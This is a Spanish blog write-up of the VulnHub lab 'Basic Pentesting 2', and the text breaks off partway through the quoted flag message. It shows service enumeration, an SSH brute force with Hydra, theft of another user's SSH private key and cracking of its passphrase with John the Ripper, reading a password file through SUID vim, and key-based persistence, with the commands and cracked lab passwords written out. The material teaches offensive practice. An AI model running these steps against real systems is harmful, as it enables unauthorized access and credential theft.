{"id":771,"date":"2026-01-06T00:57:46","date_gmt":"2026-01-05T23:57:46","guid":{"rendered":"https:\/\/jagumiel.xyz\/blog\/?p=771"},"modified":"2026-01-06T01:03:39","modified_gmt":"2026-01-06T00:03:39","slug":"ciberseguridad-atacando-la-maquina-basic-pentesting-2","status":"publish","type":"post","link":"https:\/\/jagumiel.xyz\/blog\/2026\/01\/06\/ciberseguridad-atacando-la-maquina-basic-pentesting-2\/","title":{"rendered":"Ciberseguridad: Atacando la m\u00e1quina Basic Pentesting 2"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">Introducci\u00f3n<\/h2>\n\n\n\n<p>El a\u00f1o pasado escrib\u00ed mi primer <a href=\"https:\/\/jagumiel.xyz\/blog\/2025\/09\/01\/pentesting-vulnhub-basic-pentesting-1-escalada-persistencia\/\" target=\"_blank\" rel=\"noopener\" title=\"Ciberseguridad: Atacando la m\u00e1quina Basic Pentesting 1\">\u00ab<em>write-up<\/em>\u00bb sobre la m\u00e1quina \u00abBasic Pentesting 1\u00bb<\/a>. En esta entrada continuamos con el an\u00e1lisis de m\u00e1quinas de la plataforma VulnHub, centr\u00e1ndonos en <strong><a href=\"https:\/\/www.vulnhub.com\/entry\/basic-pentesting-2,241\/\" target=\"_blank\" rel=\"noopener\" title=\"\">Basic Pentesting 2<\/a><\/strong>. Se trata de una m\u00e1quina orientada a practicar un flujo cl\u00e1sico de pentesting sobre Linux: enumeraci\u00f3n de servicios, obtenci\u00f3n de credenciales mediante errores de configuraci\u00f3n, escalada de privilegios y persistencia.<\/p>\n\n\n\n<p>En este contexto, el objetivo no es \u00fanicamente obtener una escalada de privilegios, sino entender c\u00f3mo peque\u00f1as decisiones incorrectas, como por ejemplo contrase\u00f1as d\u00e9biles, permisos mal asignados o binarios innecesariamente privilegiados, pueden encadenarse hasta comprometer completamente un sistema.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Entorno de pruebas<\/h2>\n\n\n\n<p>Para este laboratorio he seguido trabajando con VMWare. He utilizado dos m\u00e1quinas virtuales dentro de una red NAT interna, lo que permite que ambas puedan comunicarse directamente entre s\u00ed, simulando un entorno controlado de red local:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>M\u00e1quina atacante:<\/strong> Kali Linux (192.168.40.137).<\/li>\n\n\n\n<li><strong>M\u00e1quina objetivo:<\/strong> Basic-pentesting-2 (192.168.40.5).<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Herramientas empleadas en el proceso de pentesting<\/h3>\n\n\n\n<p>A lo largo del proceso de pentesting se han utilizado diversas herramientas orientadas a las distintas fases del ataque, desde la enumeraci\u00f3n inicial hasta la escalada de privilegios y persistencia. Han sido las siguientes:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>nmap<\/li>\n\n\n\n<li>GoBuster<\/li>\n\n\n\n<li>Nikto<\/li>\n\n\n\n<li>Enum4Linux<\/li>\n\n\n\n<li>Hydra<\/li>\n\n\n\n<li>John the Ripper<\/li>\n\n\n\n<li>ssh2john<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Reconocimiento y enumeraci\u00f3n inicial en pentesting<\/h2>\n\n\n\n<p>Tras identificar la IP de la m\u00e1quina objetivo, el primer paso en cualquier proceso de pentesting es realizar un reconocimiento de los servicios expuestos utilizando <strong>nmap<\/strong>:<\/p>\n\n\n\n<div id=\"attachment_775\" style=\"width: 1034px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2026\/01\/0-nmap-1024x612.png\">\n<img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-775\" class=\"aligncenter size-full wp-image-775\"\n     src=\"https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2026\/01\/0-nmap-1024x612.png\"\n     alt=\"Resultado de un escaneo Nmap realizado con Zenmap que muestra puertos abiertos y servicios activos en un host Linux durante un pentesting b\u00e1sico.\"\n     width=\"1024\" height=\"612\" srcset=\"https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2026\/01\/0-nmap-1024x612.png 1024w, https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2026\/01\/0-nmap-300x179.png 300w, https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2026\/01\/0-nmap-768x459.png 768w, https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2026\/01\/0-nmap-250x150.png 250w, https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2026\/01\/0-nmap-150x90.png 150w, https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2026\/01\/0-nmap.png 1137w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/>\n<\/a><p id=\"caption-attachment-775\" class=\"wp-caption-text\">Imagen 1. Salida de Zenmap tras ejecutar un escaneo Nmap, identificando servicios como SSH, HTTP, Samba y Tomcat en el sistema objetivo.<\/p><\/div>\n\n\n\n<p>El escaneo inicial revela, entre otros, los siguientes servicios relevantes:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Servidor web <strong>Apache <\/strong>en el puerto <strong>80<\/strong>.<\/li>\n\n\n\n<li><strong>SSH<\/strong> en el puerto <strong>22<\/strong>.<\/li>\n\n\n\n<li><strong>Tomcat<\/strong> en el puerto <strong>8080<\/strong>.<\/li>\n\n\n\n<li>Servicio <strong>Samba<\/strong> (SMB).<\/li>\n<\/ul>\n\n\n\n<p>Con esta informaci\u00f3n, el siguiente paso l\u00f3gico es profundizar en la enumeraci\u00f3n de los servicios web y del servicio SMB.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Enumeraci\u00f3n web para pentesting<\/h2>\n\n\n\n<p>La enumeraci\u00f3n web es una de las fases cr\u00edticas dentro de un proceso de pentesting o auditor\u00eda de seguridad. Consiste identificar, listar y analizar los recursos, aplicaciones y configuraciones visibles de un servidor web.<\/p>\n\n\n\n<p>A diferencia del escaneo de puertos (que solo indica qu\u00e9 puertas est\u00e1n abiertas), la enumeraci\u00f3n busca entender qu\u00e9 hay detr\u00e1s de ellas: directorios ocultos, versiones del servidor, par\u00e1metros de formularios, archivos de configuraci\u00f3n y puntos de entrada potenciales. Es, en esencia, dibujar el mapa detallado del terreno antes de intentar cualquier acci\u00f3n ofensiva.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Enumeraci\u00f3n del puerto 80<\/h3>\n\n\n\n<p>Al acceder al servicio HTTP principal, la p\u00e1gina index no muestra contenido de inter\u00e9s. Es una p\u00e1gina HTML con el t\u00edtulo \u00ab<em>Undergoing maintenance<\/em>\u00bb y un p\u00e1rrafo que dice \u00ab<em>Please check back later<\/em>\u00ab. En este punto resulta razonable enumerar rutas accesibles en el servidor mediante fuerza bruta de directorios. Para ello se utiliza <strong>gobuster <\/strong>con un diccionario est\u00e1ndar:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>gobuster dir -u http:\/\/192.168.40.5 -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)\n===============================================================\n&#091;+] Url:                     http:\/\/192.168.40.5\n&#091;+] Method:                  GET\n&#091;+] Threads:                 10\n&#091;+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n&#091;+] Negative Status codes:   404\n&#091;+] User Agent:              gobuster\/3.6\n&#091;+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/development          (Status: 301) &#091;Size: 318] &#091;--&gt; http:\/\/192.168.40.5\/development\/]\n\/server-status        (Status: 403) &#091;Size: 300]\nProgress: 220560 \/ 220561 (100.00%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n\n\n\n<p>El escaneo revela los siguientes directorios:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\/development<\/li>\n\n\n\n<li>\/server-status<\/li>\n<\/ul>\n\n\n\n<p>Dado que \/development devuelve contenido accesible, se convierte en el foco principal. Se prueba adem\u00e1s con otros diccionarios para descartar rutas adicionales, sin encontrar informaci\u00f3n relevante nueva.<\/p>\n\n\n\n<p>Como comentario adicional, cabe destacar que este mismo proceso se podr\u00eda haber hecho con <strong>Nikto<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nikto -h 192.168.1.132<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Enumeraci\u00f3n del puerto 8080<\/h3>\n\n\n\n<p>La presencia de Tomcat en el puerto 8080 justifica una enumeraci\u00f3n independiente.  En este comando se observa como se ha utilizado un diccionario alternativo m\u00e1s grande:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>gobuster dir -u http:\/\/192.168.40.5:8080 -w \/usr\/share\/wordlists\/dirb\/big.txt\n\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)\n===============================================================\n&#091;+] Url:                     http:\/\/192.168.40.5:8080\n&#091;+] Method:                  GET\n&#091;+] Threads:                 10\n&#091;+] Wordlist:                \/usr\/share\/wordlists\/dirb\/big.txt\n&#091;+] Negative Status codes:   404\n&#091;+] User Agent:              gobuster\/3.6\n&#091;+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/docs                 (Status: 302) &#091;Size: 0] &#091;--&gt; \/docs\/]\n\/examples             (Status: 302) &#091;Size: 0] &#091;--&gt; \/examples\/]\n\/favicon.ico          (Status: 200) &#091;Size: 21630]\n\/manager              (Status: 302) &#091;Size: 0] &#091;--&gt; \/manager\/]\nProgress: 20469 \/ 20470 (100.00%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n\n\n\n<p>Los resultados muestran rutas t\u00edpicas de una instalaci\u00f3n por defecto:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\/docs<\/li>\n\n\n\n<li>\/examples<\/li>\n\n\n\n<li>\/manager<\/li>\n<\/ul>\n\n\n\n<p>Aunque el panel de gesti\u00f3n est\u00e1 presente, en este escenario no ser\u00e1 el vector principal de ataque, pero confirma una superficie de exposici\u00f3n mayor de la necesaria.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">An\u00e1lisis del directorio \/development<\/h3>\n\n\n\n<p>En la enumeraci\u00f3n se ha encontrado el directorio <code>\/development<\/code>. Al acceder a esta carpeta se encuentran dos ficheros de texto: <code>j.txt<\/code> y <code>dev.txt<\/code>.<\/p>\n\n\n\n<div id=\"attachment_776\" style=\"width: 690px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2026\/01\/1-Index-development.png\">\n<img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-776\" class=\"aligncenter size-full wp-image-776\"\n     src=\"https:\/\/jagumiel.xyz\/blog\/wp-content\/uploads\/2026\/01\/1-Index-development.png\"\n     alt=\"Listado de directorios expuesto en un servidor Apache que muestra archivos accesibles p\u00fablicamente durante una fase de enumeraci\u00f3n web\"\n     width=\"680\" height=\"390\" \/>\n<\/a><p id=\"caption-attachment-776\" class=\"wp-caption-text\">Imagen 2. Acceso a un directorio expuesto en un servidor Apache en la ruta \/development, revelando archivos accesibles p\u00fablicamente durante la fase de enumeraci\u00f3n.<\/p><\/div>\n\n\n\n<h4 class=\"wp-block-heading\">An\u00e1lisis de j.txt<\/h4>\n\n\n\n<p>El contenido consiste en un mensaje firmado por un usuario identificado como K, dirigido a J:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>For J:<\/p>\n\n\n\n<p>I&#8217;ve been auditing the contents of \/etc\/shadow to make sure we don&#8217;t have any weak credentials, and I was able to crack your hash really easily. You know our password policy, so please follow it? Change that password ASAP.<\/p>\n\n\n\n<p>-K<\/p>\n<\/blockquote>\n\n\n\n<p>Este mensaje aporta dos pistas clave:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Existen al menos dos usuarios locales.<\/li>\n\n\n\n<li>Al menos una de las contrase\u00f1as es d\u00e9bil, y ya ha sido comprometida previamente.<\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\">An\u00e1lisis de dev.txt<\/h4>\n\n\n\n<p>El segundo fichero contiene un peque\u00f1o registro de cambios del sistema. Se cita a continuaci\u00f3n:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>2018-04-23: I&#8217;ve been messing with that struts stuff, and it&#8217;s pretty cool! I think it might be neat to host that on this server too. Haven&#8217;t made any real web apps yet, but I have tried that example you get to show off how it works (and it&#8217;s the REST version of the example!). Oh, and right now I&#8217;m using version 2.5.12, because other versions were giving me trouble. -K<br>2018-04-22: SMB has been configured. -K<br>2018-04-21: I got Apache set up. Will put in our content later. -J<\/p>\n<\/blockquote>\n\n\n\n<p>Se trata de una conversaci\u00f3n ente J y K en la que comentan cambios en el sistema. Entre la informaci\u00f3n m\u00e1s relevante destacan:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Uso de <strong>Apache Struts<\/strong>, versi\u00f3n <strong>2.5.12<\/strong><\/li>\n\n\n\n<li>Configuraci\u00f3n de <strong>SMB<\/strong><\/li>\n\n\n\n<li>Instalaci\u00f3n de <strong>Apache<\/strong><\/li>\n<\/ul>\n\n\n\n<p>Aunque Apache Struts no se explota en este escenario, la informaci\u00f3n proporciona contexto t\u00e9cnico valioso y confirma la exposici\u00f3n de Samba, que ser\u00e1 clave en la siguiente fase.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Enumeraci\u00f3n de Samba durante el pentesting<\/h2>\n\n\n\n<p>Con el servicio Samba confirmado, se utiliza <strong>enum4linux <\/strong>para enumerar usuarios del sistema. Su objetivo principal es automatizar la extracci\u00f3n de informaci\u00f3n de equipos que utilizan el protocolo SMB (Server Message Block), permitiendo obtener una visi\u00f3n detallada de la configuraci\u00f3n del sistema objetivo sin necesidad de autenticaci\u00f3n previa o utilizando credenciales de bajo privilegio.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>enum4linux 192.168.40.5<\/code><\/pre>\n\n\n\n<p>Entre la informaci\u00f3n que nos da esta utilidad, aparecen los siguientes nombres de usuario:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&#091;+] Enumerating users using SID S-1-22-1 and logon username '', password ''                                                                                                                                                                 \nS-1-22-1-1000 Unix User\\kay (Local User)                                                                                                                                                                                                    \nS-1-22-1-1001 Unix User\\jan (Local User)<\/code><\/pre>\n\n\n\n<p>Esto se corresponde con los mensajes anteriores, los cuales estaban firmados por K y J. Seg\u00fan Kay, la contrase\u00f1a de Jan es insegura, por lo que hacer un ataque por fuerza bruta podr\u00eda ser una buena idea.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Ataque de fuerza bruta sobre SSH en pentesting<\/h2>\n\n\n\n<p>Desde el punto de vista del pentesting, el hecho de conocer usuarios v\u00e1lidos y sospechar contrase\u00f1as d\u00e9biles justifica probar un ataque de fuerza bruta controlado. Dado que se sabe que la contrase\u00f1a de Jan es d\u00e9bil y que el servicio SSH est\u00e1 activo, se decide ir por este camino utilizando la herramienta <strong>hydra<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>hydra -l jan -P \/usr\/share\/wordlists\/rockyou.txt 192.168.40.5 ssh                                                                                                                                                                  \nHydra v9.5 (c) 2023 by van Hauser\/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2025-08-11 12:18:49\n&#091;WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4\n&#091;DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1\/p:14344398), ~896525 tries per task\n&#091;DATA] attacking ssh:\/\/192.168.40.5:22\/\n&#091;STATUS] 324.00 tries\/min, 324 tries in 00:01h, 14344076 to do in 737:52h, 14 active\n&#091;22]&#091;ssh] host: 192.168.40.5   login: jan   password: <strong>armando<\/strong>\n1 of 1 target successfully completed, 1 valid password found\n&#091;WARNING] Writing restore file because 6 final worker threads did not complete until end.\n&#091;ERROR] 6 targets did not resolve or could not be connected\n&#091;ERROR] 0 target did not complete\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) finished at 2025-08-11 12:21:30<\/code><\/pre>\n\n\n\n<p>La contrase\u00f1a de jan es \u201c<strong>armando<\/strong>\u201d. Con estas credenciales ya es posible acceder al sistema mediante SSH como usuario jan.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Persistencia y acceso lateral mediante claves SSH<\/h2>\n\n\n\n<p>Kay ya le ha dado el aviso a Jan de que debe cambiar su contrase\u00f1a. Hay que conseguir alguna forma de persistencia a la m\u00e1quina, para que en caso de que la contrase\u00f1a cambie hacia otra m\u00e1s robusta, sigamos teniendo acceso.<\/p>\n\n\n\n<p>Para ello accedemos a la m\u00e1quina mediante SSH con las credenciales de jan. Una vez dentro del sistema, se revisan los directorios de otros usuarios.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>jan@basic2:~$ ls -la ..\/kay\/.ssh\/\ntotal 20\ndrwxr-xr-x 2 kay kay 4096 Apr 23  2018 .\ndrwxr-xr-x 5 kay kay 4096 Apr 23  2018 ..\n-rw-rw-r-- 1 kay kay  771 Apr 23  2018 authorized_keys\n-rw-r--r-- 1 kay kay 3326 Apr 19  2018 id_rsa\n-rw-r--r-- 1 kay kay  771 Apr 19  2018 id_rsa.pub<\/code><\/pre>\n\n\n\n<p>En el directorio .ssh del usuario kay se descubre una clave privada SSH sin protecci\u00f3n por permisos, aunque s\u00ed que est\u00e1 protegida mediante una contrase\u00f1a, por lo que si intenamos loguearnos con su usuario y clave privada, no podemos. <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>jan@basic2:~$ ssh -i ..\/kay\/.ssh\/id_rsa kay@localhost\nCould not create directory '\/home\/jan\/.ssh'.\nThe authenticity of host 'localhost (::1)' can't be established.\nECDSA key fingerprint is SHA256:+Fk53V\/LB+2pn4OPL7GN\/DuVHVvO0lT9N4W5ifchySQ.\nAre you sure you want to continue connecting (yes\/no)? yes\nFailed to add the host to the list of known hosts (\/home\/jan\/.ssh\/known_hosts).\nEnter passphrase for key '..\/kay\/.ssh\/id_rsa':<\/code><\/pre>\n\n\n\n<p>Este impedimento nos abre la posibilidad de romper la clave privada fuera del sistema.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Crackeo de la clave privada de Kay<\/h3>\n\n\n\n<p>Aunque la clave est\u00e1 protegida por passphrase, el simple hecho de que sea legible por otro usuario ya supone un fallo de seguridad relevante. Esto abre la posibilidad de atacar la clave fuera del sistema objetivo.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Copia de la clave privada a la m\u00e1quina atacante<\/h4>\n\n\n\n<p>Desde la m\u00e1quina atacante se copia la clave privada utilizando <strong>scp<\/strong>, autentic\u00e1ndose como jan:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>scp jan@192.168.40.5:\/home\/kay\/.ssh\/id_rsa ~\/Documents\/escenario2\/kay<\/code><\/pre>\n\n\n\n<p>Esta acci\u00f3n confirma que los permisos del fichero permiten su exfiltraci\u00f3n sin necesidad de privilegios elevados.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Ataque a la passphrase con John the Ripper<\/h4>\n\n\n\n<p>Una vez copiada la clave privada a la m\u00e1quina atacante, se convierte a un formato compatible con John the Ripper utilizando <strong>ssh2john<\/strong>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python3 \/usr\/share\/john\/ssh2john.py kay &gt; ~\/Documents\/escenario2\/kay.hash<\/code><\/pre>\n\n\n\n<p>Esta herramienta s\u00f3lo analiza la clave privada y extrae la parte que contiene el algoritmo de cifrado y el \u00ab<em>hash<\/em>\u00bb de la contrase\u00f1a. Luego, convierte esa informaci\u00f3n en una l\u00ednea de texto con un formato que John the Ripper (o incluso Hashcat) pueda entender.<\/p>\n\n\n\n<p>A continuaci\u00f3n, se lanza un ataque por diccionario con John the Ripper empleando rockyou.txt.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>john --wordlist=\/usr\/share\/wordlists\/rockyou.txt ~\/Documents\/escenario2\/kay.hash\n\nUsing default input encoding: UTF-8\nLoaded 1 password hash (SSH, SSH private key &#091;RSA\/DSA\/EC\/OPENSSH 32\/64])\nCost 1 (KDF\/cipher &#091;0=MD5\/AES 1=MD5\/3DES 2=Bcrypt\/AES]) is 0 for all loaded hashes\nCost 2 (iteration count) is 1 for all loaded hashes\nWill run 8 OpenMP threads\nPress 'q' or Ctrl-C to abort, almost any other key for status\n<strong>beeswax<\/strong>          (\/home\/osboxes\/Documents\/escenario2\/kay)     \n1g 0:00:00:00 DONE (2025-08-12 01:40) 25.00g\/s 2068Kp\/s 2068Kc\/s 2068KC\/s binkey..bambino1\nUse the \"--show\" option to display all of the cracked passwords reliably\nSession completed.\n<\/code><\/pre>\n\n\n\n<p>El ataque tiene \u00e9xito, revelando la passphrase de la clave privada: <strong>beeswax<\/strong><\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Acceso como kay por SSH<\/h4>\n\n\n\n<p>Con esta informaci\u00f3n ya es posible autenticarse como kay mediante clave SSH, sin necesidad de conocer su contrase\u00f1a de usuario. Hay que tener en cuenta que el cliente SSH realiza una comprobaci\u00f3n estricta de permisos sobre el fichero que contiene la clave privada. Si los permisos no son lo suficientemente restrictivos, la autenticaci\u00f3n fallar\u00e1 autom\u00e1ticamente, incluso aunque la clave y la passphrase sean correctas. Para cambiar estos permisos, se usa el siguiente comando:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>chmod 600 ~\/Documents\/escenario2\/kay<\/code><\/pre>\n\n\n\n<p>Ahora s\u00f3lo tenemos que ejecutar el siguiente comando e introducir la contrase\u00f1a cuando nos la solicite:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ssh -i ~\/Documents\/escenario2\/kay kay@192.168.40.5<\/code><\/pre>\n\n\n\n<p>De este modo, conseguimos entrar en la cuenta de Kay, que tiene privilegios de sudoer. La prueba a continuaci\u00f3n:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>kay@basic2:~$ pwd\n\/home\/kay\nkay@basic2:~$ ls -lias\ntotal 48\n786930 4 drwxr-xr-x 5 kay  kay  4096 Apr 23  2018 .\n655362 4 drwxr-xr-x 4 root root 4096 Apr 19  2018 ..\n793456 4 -rw------- 1 kay  kay   765 Aug 11 10:14 .bash_history\n793583 4 -rw-r--r-- 1 kay  kay   220 Apr 17  2018 .bash_logout\n792902 4 -rw-r--r-- 1 kay  kay  3771 Apr 17  2018 .bashrc\n793590 4 drwx------ 2 kay  kay  4096 Apr 17  2018 .cache\n786444 4 -rw------- 1 root kay   119 Apr 23  2018 .lesshst\n798919 4 drwxrwxr-x 2 kay  kay  4096 Apr 23  2018 .nano\n798920 4 -rw------- 1 kay  kay    57 Apr 23  2018 pass.bak\n792307 4 -rw-r--r-- 1 kay  kay   655 Apr 17  2018 .profile\n798691 4 drwxr-xr-x 2 kay  kay  4096 Apr 23  2018 .ssh\n793592 0 -rw-r--r-- 1 kay  kay     0 Apr 17  2018 .sudo_as_admin_successful\n798922 4 -rw------- 1 root kay   538 Apr 23  2018 .viminfo\n<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">Obtenci\u00f3n de la contrase\u00f1a de kay (post-explotaci\u00f3n)<\/h4>\n\n\n\n<p>Antes se ha mencionado un fichero llamado pass.bak en el directorio de usuario de kay. Ahora que estamos logueados, podemos verlo (aunque antes tambi\u00e9n hab\u00eda un truco). Vamos a ver el contenido del fichero:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>kay@basic2:~$ cat pass.bak \nheresareallystrongpasswordthatfollowsthepasswordpolicy$$<\/code><\/pre>\n\n\n\n<p>\u00a1Hemos descubierto la contrase\u00f1a \u00ab<em>supersegura<\/em>\u00bb de kay!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Escalada alternativa mediante abuso de binarios SUID (post-explotaci\u00f3n)<\/h2>\n\n\n\n<p>Continuamos con la post-explotaci\u00f3n, pero esta vez desde el usuario jan. Este usuario ya lo hemos usado para obtener ficheros y romper la contrase\u00f1a de la clave privada de kay, lo que demuestra el peligro de no proteger bien las claves privadas con sus permisos de lectura y lo que una contrase\u00f1a d\u00e9bil puede hacer. Ahora lo que se pretende demostrar es que la contrase\u00f1a de usuario de kay era visible tambi\u00e9n desde el usuario jan.<\/p>\n\n\n\n<p>Sabemos que pass.bak s\u00f3lo se puede abrir con permiso de sudo, tal y como tiene kay, pero&#8230; \u00bfQui\u00e9n m\u00e1s es sudoer? \u00a1Vamos a descubrirlo!<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>find \/ -perm -4000 -type f 2&gt;\/dev\/null\n\/usr\/lib\/x86_64-linux-gnu\/lxc\/lxc-user-nic\n\/usr\/lib\/policykit-1\/polkit-agent-helper-1\n\/usr\/lib\/eject\/dmcrypt-get-device\n\/usr\/lib\/snapd\/snap-confine\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n<strong>\/usr\/bin\/vim.basic<\/strong>\n\/usr\/bin\/pkexec\n\/usr\/bin\/newgrp\n\/usr\/bin\/chfn\n\/usr\/bin\/sudo\n\/usr\/bin\/chsh\n\/usr\/bin\/newgidmap\n\/usr\/bin\/at\n\/usr\/bin\/gpasswd\n\/usr\/bin\/newuidmap\n\/usr\/bin\/passwd\n\/bin\/su\n\/bin\/ntfs-3g\n\/bin\/ping6\n\/bin\/umount\n\/bin\/fusermount\n\/bin\/mount\n\/bin\/ping<\/code><\/pre>\n\n\n\n<p>Resulta que el editor de texto <strong>Vim <\/strong>es sudoer. Que este programa tenga el bit SUID activo constituye un fallo de seguridad grave, ya que permite ejecutar el editor con privilegios elevados independientemente del usuario que lo invoque.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Abuso de vim para lectura de credenciales<\/h3>\n\n\n\n<p>Desde la cuenta de jan, el fichero que contiene la contrase\u00f1a del usuario kay no es accesible utilizando herramientas est\u00e1ndar. Si lo tratamos de ver con cat o con nano obtendremos un mensaje de \u00abpermiso denegado\u00bb. Sin embargo, al abrir el fichero mediante vim, el comportamiento es distinto:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>vim ..\/kay\/pass.bak<\/code><\/pre>\n\n\n\n<p>Esto se debe a que vim.basic se ejecuta con privilegios heredados de su propietario, lo que permite el acceso a archivos que, en condiciones normales, deber\u00edan estar protegidos por el sistema de permisos. Como hemos visto antes, el fichero pass.bak contiene la contrase\u00f1a de kay almacenada en texto plano, por lo que con vim es totalmente visible.<\/p>\n\n\n\n<p>Con esta informaci\u00f3n, es posible autenticarse directamente como kay utilizando su contrase\u00f1a de usuario, sin necesidad de fuerza bruta.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u00bfPor qu\u00e9 este m\u00e9todo no es persistente?<\/h3>\n\n\n\n<p>Aunque esta t\u00e9cnica permite una escalada inmediata y efectiva, no se considera un mecanismo de persistencia. En el momento en que alguien detecte que vim tiene privilegios, estos podr\u00edan desaparecer, y si kay decide cambiar de contrase\u00f1a, ya no tendremos acceso a la m\u00e1quina. Es por eso que se decidi\u00f3 anteriormente romper la contrase\u00f1a de la clave privada.<\/p>\n\n\n\n<p>Ante una reacci\u00f3n defensiva m\u00ednima, como el cambio de contrase\u00f1a de kay o la correcci\u00f3n de permisos en vim, este vector deja de ser v\u00e1lido. Sin embargo, comprometer la clave privada SSH de kay, proporciona persistencia real y mantiene el acceso incluso tras un cambio de contrase\u00f1a, siempre que la clave no sea revocada.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Capturando la bandera<\/h2>\n\n\n\n<p>Una vez obtenido acceso como el usuario kay, que pertenece al grupo de sudoers, el siguiente paso consiste en comprobar si es posible acceder al directorio \/root, reservado exclusivamente para el usuario administrador.<\/p>\n\n\n\n<p>Al intentar listar su contenido directamente, el acceso es denegado, como cabr\u00eda esperar en un sistema correctamente configurado:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>kay@basic2:~$ ls \/root\nls: cannot open directory '\/root': Permission denied<\/code><\/pre>\n\n\n\n<p>Sin embargo, al ejecutar el mismo comando con privilegios elevados mediante sudo es posible acceder:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>kay@basic2:~$ sudo ls \/root\nflag.txt<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">El contenido de la bandera<\/h3>\n\n\n\n<p>\u00a1Hemos encontrado la bandera! Como hemos conseguido elevar privilegios, el \u00faltimo paso en este ejercicio de pentesting es leerla:<\/p>\n\n\n\n<p><code>kay@basic2:~$ sudo cat \/root\/flag.txt<\/code><\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>Congratulations! You&#8217;ve completed this challenge. There are two ways (that I&#8217;m aware of) to gain a shell, and two ways to privesc. I encourage you to find them all!<\/p>\n\n\n\n<p>If you&#8217;re in the target audience (newcomers to pentesting), I hope you learned something. A few takeaways from this challenge should be that every little bit of information you can find can be valuable, but sometimes you&#8217;ll need to find several different pieces of information and combine them to make them useful. Enumeration is key! Also, sometimes it&#8217;s not as easy as just finding an obviously outdated, vulnerable service right away with a port scan (unlike the first entry in this series). Usually you&#8217;ll have to dig deeper to find things that aren&#8217;t as obvious, and therefore 